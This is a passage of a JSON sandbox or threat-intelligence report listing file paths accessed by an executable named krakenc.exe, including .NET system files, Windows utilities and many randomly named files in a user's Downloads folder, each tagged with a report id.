1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"C:\\krakenc.exe.config","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"C:\\krakenc.exe","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index23b.dat","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\System.configuration.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.XML.dll","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\en-US\\wevtutil.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\en-US\\sc.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\reg.exe","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\tasklist.exe","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\en-US\\tasklist.exe.mui","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%WINDIR%\\System32\\wbem\\en-US\\wmiutils.dll.mui","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Desktop background.png","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Contacts\\%OSUSER%.contact","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\01dMtnkBz9.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\04bZ.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\07Y08HBp.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\0cuxPf1k3pJ5.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\0gakl8ixtWMkw.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\0Og1.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\0zIG0D.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\1N1A3vlRdYRii5C.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\1q4yvQVxByym4.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\2Gd1Iqvl2kr.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\3AVoUo9c20GI.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\3Awf.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\3Fbc.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\4lpro8p6KuJo0.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\4nAn3p.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\4Pmmh3HlYKPz20b.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\5aFd8vA3PE3A.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\5F1yaAIKfUGQcmmt.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\5L9Wjn.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\5yqb2pxbZ.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\66u5Ps.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\6MR6.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\6SZfLTu9z.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\72oNcVyHs8NBv.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\7OxVHBv.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\7ZOfXpturAqbd1c.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\86iRpMfVS9o.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\8AuppwJ6wyt.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\8P9o.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\8Uu9ETpS.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\A62zUUbY5QfVGXz.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\acZ9pR3WMOxAcq.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\aGAui.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\AL0XySsN7H7ugY.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\ar6cEZyyC.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\aXokYfum1LR9T.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\B2OE.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\b2v3n4eKoIDN.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\b6YuNbiDI.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\b9UD.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Bcni29.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\BcZL4pkMX.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\bg3oTe.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\BK8vDj5a.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Bp9aBvvt.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\bwI55TdR2ltk57l.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\C04T72pR0Bcl.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\C3cps.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\caic.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\CEyeFINKwFDkgE0O.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\CflGlvefKCtC99t.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\CjIBD.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\CoCzQ91sOnv8.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\cTJXfHRYBCf7lK.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\daTAwNa1cRBbYO.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\DgLGRP4C041.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\dH1rDN9f9.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\DZ1I0FX.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\e8x938q.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\ecazG0z.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\EIy4cIf3Sw.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\EKeaJO.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Ery9w7qA.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\EvKbuCze.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\F07QalpWC.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\F3hzum1.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\fkHEBb1SV.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\FksnKO3nPLqbqw.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\fnHklmDjE.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Frajmn2m7RI.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\G5IM1lDtK.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\G77JSgcmPf5H.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\gd7HlA2D90jF.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\gfoMPUZ1UQ.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\GgPR9V5hPE8bUpO.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\GiF6iC5.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\GnHuSl.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\gsHQMZi.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Haiz.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\HCCQmDcSMR.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\hCmeX1Ct3FFL6dk.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\hKY8.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\HopLI4qUY5lj.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Hqee3DDn6LduWwwM.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\hsQjJvLaP.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Hyea.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\hZbsHrgo8ONOWmd.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\iEcMz.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\ieWzhDO3EIpCT.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\II5yrap9K.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\inloR0L.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\irQRC1fyB.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\iwIAg.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\IXWAmgM.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\J0j8.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\jDJAedKZ.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Jm34QKUSbOJ.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\JOq8Wlewlk.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\K6ok91lNINFU2.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\k9rCVCf.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\kDy3FUkn.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\kflWy2jLEiUoTUBN.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Kin7.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\klmqz.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\kYjkX0S1jo7Zm.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\kYSsy3IT.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\KYu5soC0W7AqbGh.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\lCEf83Wf7e4nuIMk.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\LfRe1UstxS6dMj3.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\lg7Kv3Y5aqGhf94.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\lGzEUcaAA.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\lM74.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\M89doZVhROC.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\MElB1FKqC2cxb6AE.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Mfc8nmRBfzSVE.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\MqbmYiJCv9FZI.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\MRed6R.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\ms6h2c.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\mtgFs8Za.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\MZGXda99O.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\NKqc2EyBDA.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\NOR3aMm.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\nptZgkCVl0OD.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\nWXR.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\o7AcVCKw0erZg.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\obSP1kkndHWX46p.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\ocNqp38QzZ.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\OONBpjCfe.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Q0JOBjRCtjVsC.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\q74MS.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Q7E9suq.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\qMz8XR.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\qn6N701ce7yPWi2.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\quTGamas9Gw.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\QWfSLhRSIzwjS4.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\rbfKgDSibNA52.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\RByAvdjwTizpmk.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\RqpS.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\rRgk91Ih5n.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\RTgAfRGNR0qKZtig.jpg","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\RWbgv7OCA5wp.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\SakE.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Shs4s.mp3","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\siEjNwz.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\SLPSrgK9.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\snfLEUp5t.avi","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Sw2EnkZnfpD.pdf","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\TcN5yBXi.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\Tmg2wsFHYf9ioO.doc","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\TNZzXxx4kY1R7f7p.rar","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\U8wBQmOOpsr.gif","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca3e15ac1232fc3"}]},{"path":"%USERPROFILE%\\Downloads\\UG4UW.txt","sources":[{"report_type":"sandbox","report_id":"5b7d1a137ca